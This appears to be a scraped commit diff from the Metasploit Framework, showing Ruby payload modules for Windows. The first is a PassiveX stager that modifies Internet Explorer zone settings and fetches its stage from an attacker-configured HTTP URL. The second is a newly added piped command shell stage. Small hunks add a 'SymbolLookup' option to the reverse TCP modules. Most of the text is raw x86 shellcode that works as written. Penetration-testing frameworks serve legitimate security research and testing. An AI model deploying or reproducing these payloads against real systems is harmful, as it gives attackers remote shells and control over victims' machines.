'Author' => 'skape',
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::PassiveX,
|
||||
'Convention' => 'sockedi',
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'EXITFUNC' => [ 244, 'V' ],
|
||||
},
|
||||
'Payload' =>
|
||||
"\xfc\xe8\x77\x00\x00\x00\x53\x6f\x66\x74\x77\x61\x72\x65\x5c\x4d" +
|
||||
"\x69\x63\x72\x6f\x73\x6f\x66\x74\x5c\x57\x69\x6e\x64\x6f\x77\x73" +
|
||||
"\x5c\x43\x75\x72\x72\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x5c" +
|
||||
"\x49\x6e\x74\x65\x72\x6e\x65\x74\x20\x53\x65\x74\x74\x69\x6e\x67" +
|
||||
"\x73\x5c\x5a\x6f\x6e\x65\x73\x5c\x33\x00\x31\x30\x30\x34\x31\x32" +
|
||||
"\x30\x30\x31\x32\x30\x31\x31\x30\x30\x31\x43\x3a\x5c\x70\x72\x6f" +
|
||||
"\x67\x72\x61\x7e\x31\x5c\x69\x6e\x74\x65\x72\x6e\x7e\x31\x5c\x69" +
|
||||
"\x65\x78\x70\x6c\x6f\x72\x65\x20\x2d\x6e\x65\x77\x00\xe8\x4e\x00" +
|
||||
"\x00\x00\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef" +
|
||||
"\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee" +
|
||||
"\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b" +
|
||||
"\x54\x24\x28\x75\xe3\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f" +
|
||||
"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc2\x08\x00" +
|
||||
"\x5f\x5b\x31\xd2\x64\x8b\x42\x30\x85\xc0\x78\x0c\x8b\x40\x0c\x8b" +
|
||||
"\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x83\xc0\x7c\x8b\x40" +
|
||||
"\x3c\x89\xe5\x68\x7e\xd8\xe2\x73\x50\x68\x72\xfe\xb3\x16\x50\x68" +
|
||||
"\x8e\x4e\x0e\xec\x50\xff\xd7\x96\xff\xd7\x89\x45\x00\xff\xd7\x89" +
|
||||
"\x45\x04\x52\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\xff\xd6" +
|
||||
"\x68\xa9\x2b\x92\x02\x50\x68\xdd\x9a\x1c\x2d\x50\xff\xd7\x89\x45" +
|
||||
"\x08\xff\xd7\x97\x87\xf3\x54\x56\x68\x01\x00\x00\x80\xff\xd7\x5b" +
|
||||
"\x83\xc6\x44\x50\x89\xe7\x80\x3e\x43\x74\x1b\x50\xad\x50\x89\xe0" +
|
||||
"\x6a\x04\x57\x6a\x04\x6a\x00\x50\x53\xff\x55\x08\xeb\xe8\x8a\x0d" +
|
||||
"\x30\x00\xfe\x7f\x88\x0e\x6a\x54\x59\x29\xcc\x89\xe7\x57\xf3\xaa" +
|
||||
"\x5f\xc6\x07\x44\xfe\x47\x2c\xfe\x47\x2d\x68\x75\x6c\x74\x00\x68" +
|
||||
"\x44\x65\x66\x61\x68\x74\x61\x30\x5c\x68\x57\x69\x6e\x53\x89\x67" +
|
||||
"\x08\x8d\x5f\x44\x53\x57\x50\x50\x6a\x10\x50\x50\x50\x56\x50\xff" +
|
||||
"\x55\x00\xff\x55\x04"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Do not transmit the stage over the connection. We send the stage via an
|
||||
# HTTP request.
|
||||
#
|
||||
def stage_over_connection?
|
||||
false
|
||||
end
|
||||
|
||||
def generate
|
||||
# Generate the payload
|
||||
p = super
|
||||
|
||||
# Construct the full URL that will be embedded in the payload. The uri
|
||||
# attribute is derived from the value that will have been set by the
|
||||
# passivex handler.
|
||||
url = " http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI'] || '/'}"
|
||||
|
||||
# Get the find function offset
|
||||
off = p[2, 4].unpack('V')[0]
|
||||
|
||||
# Update the offset to include the length of the URL
|
||||
p[2, 4] = [ off + url.length ].pack('V')
|
||||
|
||||
# Adjust the true offset by five
|
||||
off += 5
|
||||
|
||||
# Insert the URL into the payload
|
||||
p = p[0, off] + url + p[off .. -1]
|
||||
|
||||
# Return the updated payload
|
||||
return p
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end end end end
|
|
@ -21,6 +21,7 @@ module ReverseTcp
|
|||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Convention' => 'sockedi',
|
||||
'SymbolLookup' => 'ebp',
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
|
|
|
@ -0,0 +1,68 @@
|
|||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
module Payloads
|
||||
module Stages
|
||||
module Windows
|
||||
|
||||
module PipeShell
|
||||
|
||||
include Msf::Payload::Windows
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows Piped Command Shell',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Spawn a piped command shell',
|
||||
'Author' => 'spoonm',
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadCompat' =>
|
||||
{
|
||||
'Convention' => 'sockedi'
|
||||
},
|
||||
'Stage' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'EXITFUNC' => [ 443, 'V' ]
|
||||
},
|
||||
'Payload' =>
|
||||
"\x68\x33\x32\x00\x00\x68\x57\x53\x32\x5f\x57\xfc\xe8\x4c\x00\x00"+
|
||||
"\x00\x60\x8b\x6c\x24\x28\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"+
|
||||
"\x4f\x18\x8b\x5f\x20\x01\xeb\xe3\x30\x49\x8b\x34\x8b\x01\xee\x31"+
|
||||
"\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54"+
|
||||
"\x24\x24\x75\xe3\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c"+
|
||||
"\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc2\x08\x00\x6a\x30\x59"+
|
||||
"\x64\x8b\x31\x8b\x76\x0c\x8b\x76\x1c\xad\x8b\x58\x08\x5e\x53\x68"+
|
||||
"\x8e\x4e\x0e\xec\xff\xd6\x97\x53\x56\x57\x8d\x44\x24\x10\x50\xff"+
|
||||
"\xd7\x50\x50\x50\x68\xb6\x19\x18\xe7\xff\xd6\x97\x68\xa4\x19\x70"+
|
||||
"\xe9\xff\xd6\x95\x68\x08\x92\xe2\xed\xff\xd6\x50\x57\x55\x83\xec"+
|
||||
"\x10\x89\xe5\x89\xee\x6a\x01\x6a\x00\x6a\x0c\x89\xe1\x6a\x00\x51"+
|
||||
"\x56\xad\x56\x53\x68\x80\x8f\x0c\x17\xff\x55\x20\x89\xc7\xff\xd0"+
|
||||
"\x89\xe0\x6a\x00\x50\x8d\x75\x08\x56\x8d\x75\x0c\x56\xff\xd7\x68"+
|
||||
"\x43\x4d\x44\x00\x89\xe2\x31\xc0\x8d\x7a\xac\x6a\x15\x59\xf3\xab"+
|
||||
"\x83\xec\x54\xc6\x42\xbc\x44\x66\xc7\x42\xe8\x01\x01\x8b\x75\x08"+
|
||||
"\x89\x72\xfc\x89\x72\xf8\x8b\x75\x04\x89\x72\xf4\x8d\x42\xbc\x54"+
|
||||
"\x50\x51\x51\x51\x41\x51\x49\x51\x51\x52\x51\x53\x68\x72\xfe\xb3"+
|
||||
"\x16\xff\x55\x20\xff\xd0\x31\xc0\xb4\x04\x96\x29\xf4\x89\xe7\x6a"+
|
||||
"\x64\x53\x68\xb0\x49\x2d\xdb\xff\x55\x20\xff\xd0\x31\xc0\x50\x57"+
|
||||
"\x50\x50\x50\xff\x75\x0c\x53\x68\x11\xc4\x07\xb4\xff\x55\x20\xff"+
|
||||
"\xd0\x85\xc0\x74\x74\x31\xc0\x3b\x07\x74\x36\xe8\x77\x00\x00\x00"+
|
||||
"\x50\x89\xe1\x50\x51\x56\x57\xff\x75\x0c\x53\x68\x16\x65\xfa\x10"+
|
||||
"\xff\x55\x20\xff\xd0\x85\xc0\x74\x50\x31\xc0\x59\x39\xc8\x74\x11"+
|
||||
"\x50\x51\x57\xff\x75\x28\xff\x55\x10\x31\xc9\x39\xc8\x7c\x3a\xeb"+
|
||||
"\xab\x89\xe0\xe8\x3f\x00\x00\x00\x31\xc0\x50\x56\x57\xff\x75\x28"+
|
||||
"\xff\x55\x14\x31\xc9\x39\xc8\x7c\x86\x74\x1e\x51\x89\xe2\x51\x52"+
|
||||
"\x50\x57\xff\x75\x00\x53\x68\x1f\x79\x0a\xe8\xff\x55\x20\xff\xd0"+
|
||||
"\x85\xc0\x74\x05\x31\xc0\x59\xeb\xc8\x53\x68\x7e\xd8\xe2\x73\xff"+
|
||||
"\x55\x20\x31\xc9\x51\xff\xd0\x50\x54\x68\x7e\x66\x04\x80\xff\x75"+
|
||||
"\x28\xff\x55\x18\x85\xc0\x58\x75\xe0\xc3"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end end end end
|
|
@ -20,7 +20,8 @@ module Shell
|
|||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadCompat' =>
|
||||
{
|
||||
'Convention' => 'sockedi'
|
||||
'Convention' => 'sockedi',
|
||||
'SymbolLookup' => 'ebp',
|
||||
},
|
||||
'Stage' =>
|
||||
{
|
||||
|
|
Loading…
Reference in New Issue